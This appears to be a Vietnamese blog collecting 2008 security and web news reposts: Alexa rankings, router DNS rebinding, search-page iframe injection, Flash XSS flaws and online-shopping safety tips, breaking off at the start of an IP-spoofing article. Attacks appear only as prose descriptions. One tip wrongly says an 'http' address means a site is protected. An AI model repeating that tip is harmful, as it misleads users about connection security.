Hiện tại, có thể trình độ của phần mềm cơ sở dữ liệu nguồn mở này chưa đủ để cạnh tranh với các "ông lớn" như Oracel, IBM hay Microsoft, nhưng nó sẽ tiến bộ rất nhanh", Urlocker tự tin.

(Theo PCWorld)

Website Việt tạm biệt Alexa!

2008-04-13T02:02:00.000+07:00

Gần đây các chương trình bảo mật trên máy tính như Symantec Antivirus, Internet Security... đều ngăn chặn người dùng muốn cài đặt Alexa Toolbar vì nhận dạng công cụ này là spyware.

Trong khi đó, ngày càng nhiều doanh nghiệp trông chờ website của mình tăng từng bậc trong chỉ số thứ hạng trên Alexa để minh chứng về mức độ phổ biến của website, kéo theo nhiều dịch vụ "lừa gạt" giúp website tăng thứ hạng cao chỉ trong thời gian ngắn. Vậy doanh nghiệp có nên tin vào bộ máy đo đạc của Alexa?

Câu trả lời là không. Hiện tại, đại đa số các doanh nghiệp Việt Nam đều dựa dẫm hoàn toàn vào chỉ số Alexa để đánh giá về mức độ phổ biến cho một website. Và theo đó, giá trị quảng cáo trên website cũng được đo theo chỉ số Alexa. Đã có khá nhiều bài viết phân tích rất chi tiết về cách thức hoạt động của Alexa, những dịch vụ lừa đảo giúp tăng thứ hạng...trên các báo và tạp chí công nghệ. Trong bài viết này, tác giả chỉ tổng hợp và phân tích những yếu tố mà người dùng Internet ở Việt Nam không nên dựa dẫm hoàn toàn vào các chỉ số của Alexa.

Trở lại từ khi Alexa được thành lập vào năm 1996, đến năm 1999, Alexa trở thành thành viên của tập đoàn bán lẻ Amazon.com. Thông qua việc thống kê hoạt động của người dùng web, Alexa có thể đưa ra danh sách xếp hạng các website theo mức độ phổ biến.

Alexa Ranking - Thứ hạng "hỗn tạp"

Chỉ số thứ hạng Alexa được kết hợp từ 2 yếu tố là số trang web người dùng xem (Page Views) và số người truy cập (Reach). Alexa Ranking xếp thứ hạng các website được truy cập thường xuyên, được thống kê dựa trên những người dùng cài đặt thanh công cụ Alexa Toolbar. Thông số thứ hạng của website sẽ được hiển thị khi người dùng cài đặt Alexa Toolbar truy cập vào website đó.

Điểm chính của vấn đề nằm ở đây. Những máy tính không cài đặt Alexa Toolbar thì dù có truy cập vào website cả trăm lần vẫn không được đếm đến 1 lần, mặc dù con số máy tính đang sử dụng Alexa Toolbar là khoảng 10 triệu (đạt 1% so với hàng tỉ người dùng Internet hiện nay). Nguyên nhân là số lượng các máy tính cài đặt thanh công cụ này tại Việt Nam chưa đáng là bao vì Amazon.com chưa có kênh bán hàng trực tuyến tới Việt Nam. Hơn nữa, các máy tính từ quốc gia khác truy cập tới các website tiếng Việt cũng là thiểu số, vì chủ yếu là của những người Việt có khả năng đọc hiểu Việt ngữ.

Nguyên nhân thứ hai là ngay khi cài đặt Alexa Toolbar, các chương trình bảo mật trên máy tính như Symantec Antivirus, Internet Security... đều nhận dạng công cụ này là spyware vì phương thức hoạt động của nó là sử dụng cookies để theo dõi toàn bộ các hoạt động truy cập website của người sử dụng.

Alexa Toolbar đã bị Symantec Antivirus chặn lại ngay khi tải về máy

Hơn nữa, Alexa Toolbar chỉ mới có phiên bản dành cho trình duyệt Internet Explorer và FireFox nên người dùng các trình duyệt còn lại như Opera và Safari thì cũng đành "bó tay", miễn đếm!

Các dịch vụ giúp tăng thứ hạng Alexa cũng ra đời ào ạt, khiến doanh nghiệp tiêu tốn khá nhiều thời gian và chi phí thay vì tập trung phát triển nội dung lẫn hình thức của website, đây mới chính là các yếu tố quan trọng giúp tăng lượng truy cập.

Như vậy, thứ hạng của các website Việt Nam khá lệch lạc trên bảng chỉ số của Alexa. Độ chính xác chỉ đạt 20% cho những website Việt. Một bằng chứng là những website Việt không dùng các công cụ giúp tăng thứ hạng, giả mạo truy cập... cho Alexa thì ranking đều tụt khá nhiều đều đặn theo thời gian mặc dù số lượng truy cập thực của các website này không suy giảm và còn có thể tăng.

Giải pháp thay thế

Các bộ đếm thống kê lượng truy cập cũng như thông tin khách truy cập được tích hợp sẵn trên website tuy chính xác nhưng không được đối tác quảng cáo tin tưởng. Do đó, tùy thuộc vào mô hình kinh doanh, chi phí và mức độ phổ biến mà mỗi website có thể lựa chọn các nhà cung cấp dịch vụ thống kê uy tín và có phí như: ComScore, Hitwise, Nielsen//NetRatings, Netcraft, Ranking.com, Quantcast.

Google Analytics cung cấp thông tin về nguồn truy cập của người dùng và những truy vấn tìm kiếm trên website để webmaster có thể nắm bắt, tổng hợp.

Một giải pháp miễn phí hiện tại đang được các webmaster chú ý là Google Analytics, hoàn toàn miễn phí. Tuy không đánh giá chính xác 100% nhưng Google Analytics cho phép thống kê chi tiết nhiều số liệu truy cập, lượng pageview, thông tin khách truy cập.. kể cả khi website có nhiều sub domain (tên miền phụ) với mức độ chính xác cao. Số liệu Google Analytics cung cấp dễ dàng tổng hợp, chi tiết và có thể xuất ra theo nhiều dạng phục vụ cho việc thống kê. Chỉ cần một tài khoản Google (Gmail) là đã có thể đăng ký dịch vụ Google Analytics.

Các doanh nghiệp Việt Nam đang có website nên sử dụng thêm 1 vài dịch vụ thống kê truy cập và thứ hạng khác để đảm bảo tính chính xác thay vì tập trung vào Alexa. Có thể dùng song song thêm Google Analytics hoặc các dịch vụ miễn phí khác như StatCounter, ClickTracks Appetizer, eXTReMe Tracking, SiteMeter, Add Free Stats, Compete...

(Theo PCWorld)

Website độc hại có thể “bắt cóc” router

2008-04-13T02:00:00.000+07:00

Dự kiến ngày hôm nay (7/4) chuyên gia nghiên cứu bảo mật Dan Kaminsky sẽ trình diễn tại Hội nghị bảo mật RSA phương thức sử dụng web để chiếm quyền điều khiển bộ định tuyến mạng (router).

Cụ thể chuyên gia Kaminsky sẽ trình diễn cách thức sử dụng phương thức tấn công qua web để đoạt quyền điều khiển một số router được sử dụng tương đối phổ biến như router của Cisco hoặc D-Link.

“Đây là kỹ thuật tấn công DNS Rebinding có tác dụng với bất kỳ thiết bị nào sử dụng giao diện điều khiển web và chưa thay đổi mật khẩu mặc định,” chuyên gia Kaminsky cho biết. “Kiểu tấn công như thế này có thể dễ dàng qua mặt các giải pháp tường lửa phòng thủ”.

Mô hình phương thức tấn công như sau: Người dùng router sẽ bị lôi kéo truy cập vào một webiste độc hại có nhúng sẵn các mã Javascript đảm nhiễm chức năng thực hiện một số thay đổi trên trang cấu hình của router hoặc yêu cầu router phải tải về phần mềm cơ sở (firmware) mới đồng thời cho phép đối tượng tấn công được quyền từ xa truy cập vào trang điều khiển thiết bị.

Chiếm được quyền điều khiển router đồng nghĩa với việc đối tượng tấn công sẽ chiếm được quyền kiểm soát đường kết nối Internet của người dùng.

Tuy nhiên, kỹ thuật tấn công DNS Rebinding tương đối phức tạp và tương đối khó thực hiện. Trước đây các chuyên gia bảo mật đã được biết đến kỹ thuật này nhưng khi đó mới chỉ là lý thuyết. Bản trình diễn của chuyên gia Kaminsky sẽ “biến lý thuyết thành hiện thực”.

(Theo PCWorld)

Cạm bẫy liên hoàn của Internet

2008-04-07T17:41:00.000+07:00

Có nhiều cách lý giải việc mất thông tin thẻ tín dụng trên Internet và từ đó tin tặc tha hồ vét tiền của các nạn nhân. Tâm lý thích “dùng chùa” hay “xài đồ rẻ” cũng có thể làm bạn bị móc túi.

Có thể lấy một ví dụ thực tế, giả sử bạn quan tâm đến phim ảnh, chắc hẳn ngay sau khi đọc tin bộ phim Superhero Movie sẽ trình chiếu chính thức vào ngày 28.03 bạn sẽ tìm kiếm thông tin về bộ phim này trên Internet. Kết quả tìm kiếm trả về hàng trăm ngàn trang thông tin về bộ phim đó. Có trang cho xem clip quảng cáo phim, có trang giới thiệu nhưng cũng có cả những trang thông tin mời chào bạn tải phim về miễn phí hoàn toàn. Đây chính là cái bẫy đầu tiên.

Để tải phim về, nhà cung cấp tốt bụng đó yêu cầu bạn phải sử dụng ứng dụng BitTorrent. Sau khi tải BitTorrent và cài đặt vào máy, bạn đã có thể tải ngay trọn bộ phim mà ngày hôm sau mới được trình chiếu. Dung lượng phim tới 700MB, nhưng không sao, để được xem một bộ phim hấp dẫn như vậy thì việc phải chờ đợi, tốn chút băng thông đường truyền không có gì là lớn.

Sau gần nửa ngày chờ đợi, bộ phim cũng đã nằm gọn trên máy của bạn. Nhưng, như đã nói ở trên bạn đã dính bẫy bởi trong quá trình tải xuống 700MB phim về máy tính. Bởi trong quá trình tải về thì chương trình BitTorrent tự ý khai thác máy của bạn và tải lên hàng trăm MB dữ liệu và nó còn tiếp tục tải lên cho dù quá trình tải xuống đã hoàn tất. Khi đó, máy của bạn chạy chậm như rùa, kết nối Internet vẫn liên tục truyền đi mà điều quan trọng nhất là bạn không biết BitTorrent truyền cái gì trên máy của mình đi. Trên lý thuyết thì máy tính của bạn đã bắt đầu tham gia vào quá trình cung cấp dữ liệu trên mạng và bạn đang chia sẻ chính bộ phim mà bạn vừa tải về. Tuy nhiên đấy là trên lý thuyết nhưng trên thực tế thì bạn không thể kiểm soát được.

Quay lại với bộ phim, với dung lượng 700MB nhưng bạn chỉ xem được một cảnh báo duy nhất “Nội dung phim đã bị khóa. Bộ phim chỉ có thể xem bằng Dom-X. Hãy truy cập trang web playon.sw-archives.com” (ảnh). Tiếp tục cuộc hành trình, làm theo chỉ dẫn bạn sẽ tới một trang thông tin bán sản phẩm Dom-X Decoder giá chỉ có khoảng 8 USD. Hoặc không làm theo chỉ dẫn tiếp tục tìm kiếm sản phẩm bẻ khóa theo tâm lý của kẻ đâm lao thì phải theo lao, bạn sẽ lại luẩn quẩn trong hàng trăm ngàn trang web dẫn dụ bẻ khóa khác. Để rồi cuối cùng đều dẫn đến một vài trang cho tải về sản phẩm bẻ khóa nhưng với điều kiện phải là thành viên với phí hội viên cỡ 3 USD cho ba ngày dùng thử hay 40 USD cho 1 tháng làm hội viên.

Tuy nhiên, vấn đề cốt lõi ở đây là nếu bạn có thẻ thanh toán thì bạn rất có thể lại dính bẫy tiếp theo. Bởi sẽ chẳng lấy gì làm đảm bảo cho việc bảo mật cũng như giữ kín thông tin thẻ của bạn. Đây là các trang thông tin không chính thống của cá nhân hoặc một nhóm các hacker. Do vậy ngay sau khi cung cấp thông tin thẻ, lập tức có đến hàng trăm tay hacker chuyên nghiệp đã có thông tin tài khoản của bạn trong tay. Họ tha hồ mua sắm, chi tiêu và cuối tháng bạn là người thanh toán. Bạn luôn cho rằng mình là người khôn ngoan, không phải trả phí hoặc phí rất thấp để có được những món hời nhưng cuối tháng khi ngân hàng thông báo thì bạn mới biết học phí là quá đắt.

(Theo LaoDong)

10 cách bảo vệ bạn trên mạng

2008-04-02T03:06:00.001+07:00

Hàng ngày bạn lướt Web, có thể bạn không biết rằng có vô số mối hiểm họa rình rập nhằm đánh cắp mật khẩu, tài khoản cá nhân, hoặc "ăn" hết sạch dữ liệu trong máy tính của bạn. Có 10 cách dưới đây để bạn khỏi phải lo lắng.

Thường xuyên thay đổi mật khẩu cũng là một biện pháp bảo vệ khi lướt Net

1. Hãy chắc rằng hệ điều hành của bạn được cập nhật tự động và bức tường lửa (firewall) được bật lên.

2. Sử dụng các chương trình bảo mật bao gồm phần mềm chống virus và spyware và đăng ký cập nhật các phần mềm này.

3. Quét toàn bộ máy ít nhất một tháng một lần.

4. Không mở các file đính kèm hay ấn chuột vào những đường link trong email từ những ngươì bạn không quen biết.

5. Sử dụng mật khẩu ít nhất 8 ký tự hoặc số và biểu tượng và thường xuyên thay đổi chúng.

6. Truy cập Internet thông qua một bộ định tuyến, nó là một bức tường lửa ẩn cho bạn nên các bot (các ứng dụng phần mềm chạy các tác vụ tự động hóa trên mạng) không thể tiếp cận trực tiếp máy tính của bạn được.

7. Đừng sử dụng mật khẩu giống nhau cho tất cả các tài khoản, và sử dụng các mật khẩu phức tạp hơn cho những giao dịch quan trong như tài khoản ngân hàng.

8. Đừng kết nối Internet sử dụng mạng không dây mà không có mật khẩu.

9. Đừng gửi thông tin nhạy cảm tới một trang Web mà không bắt đầu bằng “http”, cụm từ “http” có nghĩa là nó được bảo vệ.

10. Khi bạn nhận email, hãy nghĩ xem liệu nó có thực sự là từ một người gửi có mục đích hay là một kẻ mạo danh trước khi hành động.

(Theo BDVN/Silicon Valley)

Hơn 1 triệu website lớn bị tấn công?

2008-04-02T03:05:00.001+07:00

Theo chuyên gia bảo mật Dancho Danchev, hacker đang mở một chiến dịch "tổng tấn công" nhằm vào mạng Internet, với số lượng trang Web bị nã đạn lên tới hơn 1 triệu.

Những công cụ tìm kiếm như Google đang bị hacker "khai thác" và "bỏ thuốc độc". Nguồn: AP

Trong số này, có cả những website rất nổi tiếng như USAToday.com, Target.com và thậm chí là Walmart.com.

"Số lượng và tầm quan trọng của các site bị tấn công đang tăng lên từng ngày", ông Danchev cho biết trên blog cá nhân.

Bọn tội phạm đứng đằng sau đợt tấn công này không hack thẳng vào máy chủ, mà chúng lợi dụng các lỗi lập trình Web để cài mã độc vào trong các trang kết quả tìm kiếm do công cụ tìm kiếm của website tạo ra.

Lấy thí dụ, kẻ tấn công sẽ lùng sục những từ khóa phổ biến, kiểu như Paris Hilton trên công cụ tìm kiếm nội bộ của website mục tiêu.

Nhưng thay vì tiến hành một thao tác tìm kiếm bình thường, hắn sẽ gài một câu lệnh HTML vào cuối từ khóa tìm kiếm.

Câu lệnh này sẽ mở ra một cửa sổ iframe vô hình bên trong trình duyệt của nạn nhân, sau đó điều dẫn trình duyệt tới một website hiểm độc khác.

Khi ấy, hacker sẽ cố gắng cài đặt phần mềm diệt spyware giả hoặc trojan Zlob lên máy tính nạn nhân.

Đầu độc các công cụ tìm kiếm

Để tăng thứ hạng của mình trên Google, các website thường lưu lại một bản "kết quả tìm kiếm" rồi gửi về cho Google.

Khi một người dùng chẳng may tìm kiếm cũng từ khóa đó trên Google, những kết quả tìm kiếm đã bị "hack" sẽ nhảy xổ ra, kèm theo mã độc bên trong.

"Bọn tội phạm mạng đang tích cực đầu độc các công cụ tìm kiếm. Chúng tìm mọi cách để đường link của mình xuất hiện trong Top 10 kết quả đầu tiên và hậu quả là bất cứ ai click vào cũng sẽ bị lây nhiễm malware", ông Danchev cho hay.

Theo Danchev, số lượng trang web bị lợi dụng đã lên tới hơn 1 triệu, trong sự bán tin bán nghi của rất nhiều người.

"Số lượng từ khóa mà các site gửi về cho Google càng nhiều, nguy cơ "dính chưởng" của người dùng càng cao.

Ai nghĩ được là cả những kết quả tìm kiếm lưu ký trên những website uy tín như USAToday cũng chứa mã độc cơ chứ?"

Cũng theo ông, các website đã bị hacker tấn công có thể kiểm tra lại công cụ tìm kiếm của mình và đảm bảo rằng không có đoạn mã độc nào sống ký sinh.

(Theo PCWorld)

Lỗ hổng trong Flash Player đe doạ nửa triệu website

2008-04-02T03:03:00.001+07:00

Adobe đang khẩn trương phát triển bản vá lỗi dành cho một lỗ hổng trong phần mềm Flash Player hiện đang ảnh hưởng tới hàng nghìn website trên mạng.

Lỗ hổng trên được một nhà nghiên cứu của Google là Rich Cannings báo cáo lần đầu hồi tháng 12/2007. Lỗ hổng cho phép kẻ tấn công có thể sử dụng các file Shockwave Flash (.swf) “có vấn đề” để tấn công người dùng web. Sử dụng kỹ thuật tấn công kịch bản liên miền, tin tặc có thể tạo ra các trang phishing giả mạo, hoặc tồi tệ hơn là đoạt quyền truy cập vào các phiên giao dịch ngân hàng trực tuyến, hoặc lấy được tài khoản web của nạn nhân trong một số tình huống.

Sau khi Cannings công bố phát hiện của mình, Adobe và các hãng phần mềm khác đã sửa chữa các công cụ phát triển để khắc phục các file Flash bị lỗi, tuy nhiên hiện vẫn còn hơn nửa triệu file dạng này còn tồn tại trên nhiều website. Và đây chính là mục tiêu tấn công của tin tặc.

Do khối lượng công việc quá lớn (để xóa sạch các file Flash bị “hổng”) nên Cannings đã khuyến cáo Adobe cần thay đổi phần mềm Flash Player để loạt trừ nguy cơ tấn công kịch bản liên miền tiềm ẩn.

Theo phát ngôn viên Adobe, Matt Rozen, hiện bản vá lỗi đang được phát triển và sẽ được công bố trong thời gian sớm nhất.

(Theo VTC/MacWorld)

Mua sắm trực tuyến an toàn

2008-04-02T03:02:00.000+07:00

Mua sắm trực tuyến không còn là điều xa lạ với cư dân mạng hiện nay khi hàng loạt các website thương mại điện tử (TMĐT) ra đời. Để đảm bảo an toàn khi mua sắm, bạn cần nắm các bước sau để phòng tránh các nguy cơ đánh mất dữ liệu cá nhân.

Thiết lập trình duyệt web

Việc đầu tiên cần phải làm là trang bị và hiệu chỉnh các tính năng cho trình duyệt vì đây là công cụ để ta lướt web và mua sắm. Trong bài này ta đề cập đến trình duyệt đang được sử dụng phổ biến nhất hiện nay là Internet Explorer, và phiên bản 7 mới trong Windows Vista. Trong phiên bản IE7 có chức năng AutoComplete lưu giữ thông tin tài khoản hay form mà bạn đăng nhập. Ta sẽ loại bỏ chức năng này bằng cách vào Tools - Internet Options, thẻ Content, nhấn vào AutoComplete Settings. Bỏ chọn phần "User names and passwords on forms" và "Prompt me to save passwords".

Xóa bỏ các thông tin tài khoản đã lưu.

Trường hợp bạn đã lỡ lưu những username và password của mình khi mua sắm trên các website thương mại điện tử (TMĐT) thì nên xóa chúng đi để nếu lỡ khi máy tính bị xâm nhập qua bàn tay hacker, spyware, malware... thì các thông tin trên vẫn không lọt ra ngoài. Vào Tools - Internet Options, chọn thẻ General rồi nhấn "Delete History", "Delete Password" và "Delete forms".

Kiểm tra tường lửa và chống virus

Sau khi hiệu chỉnh, trước lúc điền thông tin chi tiết thẻ tín dụng để mua sắm, phải chắc chắn rằng không có "cặp mắt" nào đang theo dõi bạn. Phần cứng mạng như bộ định tuyến (router) sẽ kèm theo tường lửa (firewall) nên bạn có thể kiểm tra chúng bằng cách chọn Start - Control Panel - Windows Firewall, nhấn "Change Settings" nếu bạn muốn khóa các kết nối đi vào.

Bước kế đến, bạn cần cập nhật các bản vá lỗi bảo mật mới nhất cho trình duyệt cũng như cơ sở dữ liệu (virus signature) cho trình chống virus, spyware. Trong Windows Vista cũng đã tích hợp sẵn công cụ chống spyware là Windows Defender. Mở Windows Defender, chọn Tools, đánh dấu chọn vào chế độ tự động quét và bảo vệ trực tuyến.

Không nên mua sắm trực tuyến ở mạng công cộng

Mua sắm trực tuyến trên các máy tính công cộng hay mạng công cộng tại quán cafe Internet, thư viện trường... mang lại nhiều nguy cơ mất mát thông tin tài chính, dữ liệu cá nhân. Các hacker thường cài đặt các trình ghi lại thao tác bàn phím (keylogger) hay các spyware, toàn bộ nội dung bạn gõ sẽ bị ghi nhận lại và gửi thẳng đến tay kẻ gian hoặc hacker sẽ thông qua mạng công cộng được bảo mật lỏng lẻo để đánh cắp thông tin bằng những chương trình bắt gói dữ liệu mạng (packet-sniffing). Do đó, đừng bao giờ điền các thông tin tài chính như tài khoản ngân hàng, thẻ tín dụng... trên các website TMĐT khi đang truy cập tại mạng công cộng.

"Cẩn tắc vô áy náy"

Khi mua sắm trực tuyến, bạn cần cảnh giác đối với các website có địa chỉ quá dài và kèm theo nhiều ký tự lạ như "%" hay khởi đầu bằng 1 dãy các con số. Chúng có thể là các website giả mạo (scam) đánh lừa khách hàng như đang mua sắm tại các hệ thống TMĐT đáng tin cậy. Những trình duyệt sẽ bỏ qua các ký tự nằm bên trái dấu @ trong một địa chỉ web và chuyển hướng duyệt web của người dùng sang 1 trang khác. Cách thức này không mới nhưng luôn được hacker sử dụng.

Kiểm tra website bán hàng: Các website bán hàng đáng tin cậy thường mã hóa dữ liệu của khách hàng trước khi gửi chúng ra Internet. Trước khi thực hiện chế độ thanh toán, kiểm tra website bắt đầu bằng https:\\ (SSL - Secure Socket Layer) và xuất hiện biểu tượng 1 chiếc ổ khóa (vàng) nằm trên thanh trạng thái của trình duyệt khi thanh toán. Nếu không có, bạn nên từ chối cung cấp dữ liệu thẻ tín dụng.

Đáng tin cậy hơn là dịch vụ chứng thực bảo mật của VeriSign. Logo chứng thực sẽ xuất hiện trên website TMĐT kèm theo đường dẫn đến thông báo chứng thực và thời hạn trên website của VeriSign.

Thông tin chứng thực thông tin cá nhân của khách hàng sẽ được bảo mật qua hệ thống của VeriSign.

Một ví dụ cụ thể cho khách hàng của ngân hàng Sacombank, khi truy cập vào website của ngân hàng này, ta sẽ thấy logo chứng thực của VeriSign và khi click vào thì sẽ dẫn tới phần thông tin chứng thực để phòng khi tin tặc giả mạo đưa logo nhưng lại dẫn đến phần chứng thực cho website khác.

Tuy nhiên, không kể đến việc đã có chứng thực của VeriSign, đừng quá chủ quan vào "https" vì tin tặc cũng có thể đầu tư mua SSL cho website giả mạo của mình. Để đảm bảo độ an toàn cho bản thân, tốt nhất không nên click vào những liên kết website không xác định trong email hay qua mạng tán gẫu. Luôn luôn bật chế độ chống phishing của trình duyệt (Trong IE, vào Tools - Phishing Filter). Đại đa số các phiên bản mới của những trình duyệt phổ biến hiện nay như Internet Explorer 7, FireFox, Opera, Netscape... đều có chức năng này.

Đừng ham của rẻ!

Cảm giác sung sướng khi tìm được món hàng rẻ trên mạng sẽ nhanh chóng biến mất theo thông tin thẻ tín dụng của bạn khi chúng lọt vào tay hacker. Khi tìm được những cửa hàng trực tuyến bán đồ rẻ, bạn nên kiểm tra lại thông tin chủ nhân của nó như: địa chỉ, thông tin liên lạc, phần thanh toán và giao nhận... sau đó, hãy kiểm tra một lần nữa qua các công cụ tìm kiếm như Yahoo, Google để chắc chắn rằng địa chỉ đó có thực. Riêng đối với các món hàng tại eBay, đừng vội đặt niềm tin mà móc hầu bao. Bước đầu tiên khi mua hàng từ eBay là kiểm tra phản hồi (feedback) của những khách hàng trước đó đã đặt mua và mức độ đánh giá của họ về người bán (seller). Những người mua hàng kỳ cựu trên eBay vẫn có thể bị mắc lừa khi mất cảnh giác.

Một thao tác cần thiết mà người mua sắm trực tuyến ở Việt Nam còn ít thực hiện là đọc các quy chế, điều kiện mua bán của cửa hàng trực tuyến (privacy, term condition), liệu họ có bán thông tin cá nhân của bạn cho những hãng quảng cáo.

Kiểm tra giao nhận và thanh toán

Đây là các công đoạn cuối cùng khi bạn sắp "phải" chi trả cho các mặt hàng đã đưa vào giỏ hàng. Hãy cẩn thận kiểm tra một lần nữa phương thức giao nhận, những quy định về giao nhận như thời gian, chi phí giao nhận và quan trọng là điều khoản gửi trả hàng hóa khi bị lỗi. Thường thì các cửa hàng đều cho phép trả hoặc đổi hàng trong vòng bao nhiêu ngày cố định nhưng nếu lỡ bạn ở một quốc gia khác thì việc gửi đi trả về sẽ tốn nhiều thời gian và tiền bạc.

Khi chi trả giỏ hàng, nên lựa chọn các phương thức thanh toán uy tín, đáng tin cậy. Gần 90% các website TMĐT ngày nay đều sử dụng dịch vụ thanh toán trung gian Paypal. Khi sử dụng Paypal để thanh toán trên các website TMĐT, bạn không cần phải cung cấp thông tin thẻ tín dụng của mình, thay vào đó là thông tin tài khoản Paypal. Dịch vụ của Paypal sẽ tính phí phần trăm trên số tiền giao dịch, bạn cần tham khảo thông tin chi tiết trước khi đăng ký sử dụng.

Sau khi chi trả, bạn nên ghi nhận lại những email mà cửa hàng trực tuyến gửi đến để xác nhận đơn đặt hàng (Order email), mã số đơn hàng, thông tin giao hàng và các email trao đổi về mặt hàng để khi có trục trặc có thể sử dụng để đối chiếu với nhà cung cấp.

Còn khá nhiều vấn đề phải quan tâm nhưng tùy thuộc vào hoàn cảnh mua bán, môi trường... Tuy nhiên, vấn đề chính bạn cần phải lưu tâm là luôn luôn cẩn thận kiểm tra thông tin khi mua bán. Cẩn thận thiết lập chế độ bảo mật cho trình duyệt, anti-virus để chống tin tặc. Việc còn lại là mua sắm thỏa sức, bạn có thể tìm được khá nhiều món hàng rẻ vào các mùa khuyến mãi trên các website tại Mỹ nhưng hãy đọc kỹ phần "Đừng ham của rẻ" trước nhé!

(Theo TuoiTre)

Trang web bảo mật trở thành nơi phát tán mã độc

2008-03-18T19:40:00.000+07:00

Website của Trend Micro, công ty an ninh mạng có sản phẩm chống virus được đánh giá tốt nhất trên thị trường trong năm 2007, vừa bị tấn công và trở thành nguồn lây mã độc sang hơn 20.000 trang khác.

Phát ngôn viên hãng này cho biết, một số trang trên site của họ đã bị gài virus từ hôm 11/3. Đây là phần mềm ăn cắp mật khẩu trên bất cứ máy tính nào bị nhiễm. Các chuyên gia còn chưa biết hacker đã tấn công site của họ như thế nào nhưng các trang bị cài mã độc đã được gỡ xuống.

Máy chủ của kẻ tấn công được đặt ở Trung Quốc, nơi từng phát tán virus Kavo ăn cắp mật khẩu game online trên diện rộng vào cuối năm 2007.

(Theo TechWorld)

Người dùng không tự tin khi online

2008-03-12T18:05:00.000+07:00

Theo bản báo cáo Online Wellbeing Survey thường niên của hãng bảo mật F-Secure, mặc dù người dùng Internet ở Bắc Mỹ và châu Âu đã có những hiểu biết cơ bản về bảo mật online, nhưng họ vẫn chưa hoàn toàn an tâm mỗi khi online.

Cuộc điều tra này được thực hiện với những người dùng Internet trong độ tuổi 20-40 ở Mỹ, Canada, Anh, Pháp, và Đức. Kết quả cho thấy phần lớn người dùng đều sử dụng một phần mềm bảo mật nào đó, nhưng họ vẫn không chắc chắn là hộp thư điện tử của họ tránh xa được malware và những mối nguy hiểm khác.

Người Đức là những người thiếu tin tưởng vào tính bảo mật của các hoạt động thương mại điện tử nhất, mặc dù họ lại là những người nhận thức rõ nhất về việc phải thường xuyên cập nhật các phiên bản phần mềm bảo mật mới nhất.

Chỉ có 10% số người được hỏi cho biết họ có thể tự tin mở các file attach trong mail mà không sợ máy tính bị nhiễm malware, thậm chí, con số này ở Mỹ chỉ có 7%.

Đối với các đường link gửi qua mail thì có 9% số người cho rằng, họ có thể thoải mái kích chuột mà không sợ ảnh hưởng đến máy tính của mình. Tỷ lệ này cao nhất là ở Anh với 15% và thấp nhất là ở Pháp với 4%.

95% số người tham gia điều cho biết, họ có cài phần mềm bảo mật trên máy tính, 73% nhận thức được rằng phần mềm của họ phải được thường xuyên cập nhật.

"Điều đáng lo ngại ở đây là hầu như mọi người đều biết cần phải thường xuyên cập nhật phần mềm bảo mật, nhưng họ lại không hiểu thường xuyên ở đây cụ thể là như thế nào" - Mikko Hypponen, Giám đốc nghiên cứu của F-Secure, phát biểu.

"Bảo mật e-mail không phải là một vấn đề mới. Email vẫn là một trong những cách thức phổ biến nhất trong việc phát tán malware, và người dùng vẫn cần phải thận trọng với những đường link và file attach trong mail.

(Theo 24H)

Lỗi Flash đe doạ hàng trăm nghìn website

2008-02-21T11:08:00.001+07:00

Hàng trăm nghìn website của các cơ quan chính phủ, tổ chức tài chính, doanh nghiệp và cá nhân toàn cầu đang phải đối mặt với nguy cơ bị tấn công và mất dữ liệu cá nhân khi người dùng truy cập vào website chứa lỗi bảo mật cực kỳ nguy hiểm trong Adobe Flash.

Các chuyên gia nghiên cứu của Google và một hãng bảo mật danh tiếng cho biết bằng kỹ thuật tấn công XSS (cross-site scripting), tin tặc có thể dễ dàng khai thác lỗi bảo mật đó để chèn mã độc trực tiếp vào trong mã nguồn hợp pháp trên các website.

Dự kiến chi tiết về lỗi bảo mật Flash nói trên sẽ được công bố trong cuốn sách “Hacking Exposed Web 2.0: Web 2.0 Security Secrets and Solutions” sắp được phát hành. Tuy nhiên, hiện đã có không ít chuyên gia bảo mật đã có được cuốn sách đó trong tay.

Tác giả cuốn sách là một trong những chuyên gia thử nghiệm đột nhập của hãng bảo mật iSEC và Google khẳng định: thông qua công cụ tìm kiếm ông đã phát hiện được có tới hơn 500.000 Flash mắc lỗi đang tồn tại trên các website của hàng loạt các doanh nghiệp lớn, tổ chức tài chính, cơ quan chính phủ…

“Rất nhiều người đang phải đối diện với nguy cơ bị tấn công bởi hiện vẫn chưa có bất kỳ bản sửa lỗi nào được phát hành. Giải pháp bảo vệ duy nhất nên làm hiện nay là gỡ bỏ các tệp tin Flash mắc lỗi và chờ đợi đến khi ứng dụng Flash được nâng cấp,” Alex Stamos - một trong những tác giả của cuốn sách - cho biết. “Các nhà quản trị website cần phải kiểm tra lại tất cả các tệp tin Flash đang được sử dụng trên website của mình”.

“Nhiệm vụ bất khả thi”

Tuy nhiên, việc tìm kiếm và loại bỏ các tệp tin Flash mắc lỗi dường như là một nhiệm vụ bất khả thi bởi hầu như tất cả các chương trình tạo nội dung Flash đều sản sinh ra nội dung mắc lỗi. Một nguyên nhân nữa là trong việc phát triển website phần việc lập trình và phần mềm đồ hoạ thường được tách riêng. Trong khi đó, việc loại bỏ các tệp tin Flash mắc lỗi yêu cầu cần phải kiểm tra toàn diện và thử nghiệm từng tệp tin Flash một. Nâng cấp Flash Player cũng chỉ có thể giúp kìm chế một phần nào mức độ nguy hiểm chứ khó có thể khắc phục hoàn toàn lỗi.

Tác giả Stamos cho biết bản cập nhật mới được Adobe phát hành trong tuần này cũng không thế giúp khắc phục được lỗi nói trên.

Các tác giả của cuốn sách đã liên tục làm việc cùng với Adobe System từ mùa hè vừa rồi nhằm tìm ra giải pháp khắc phục lỗi hiệu quả nhất. Đại diện của Adobe cho biết bản sửa lỗi sẽ được phát hành trong khoảng vài tuần nữa và khuyến cáo người dùng trong thời điểm này nên tìm cách vô hiệu hoá các tệp tin Flash được hiển thị trên các website.

Các nhà sáng tạo nội dung Flash có thể tham khảo thêm thông tin từ Adobe về việc sử dụng các hàm thư viện chứng thực dữ liệu nhằm tránh mắc phải lỗi nguy hiểm nói trên. Tài liệu này có thể được tải về từ đây.

(Theo Register)

Đánh lừa IP và cách phòng chống

2008-02-21T09:46:00.000+07:00

Đây là sự giả mạo địa chỉ IP hoặc khống chế tập lưu trữ thông tin về địa chỉ này trong hệ thống mạng. Hacker thường dùng cách này để mạo danh là máy tính hợp pháp nhằm chiếm quyền điều khiển trình duyệt web trên máy tính bị tấn công.

Các kiển tấn công

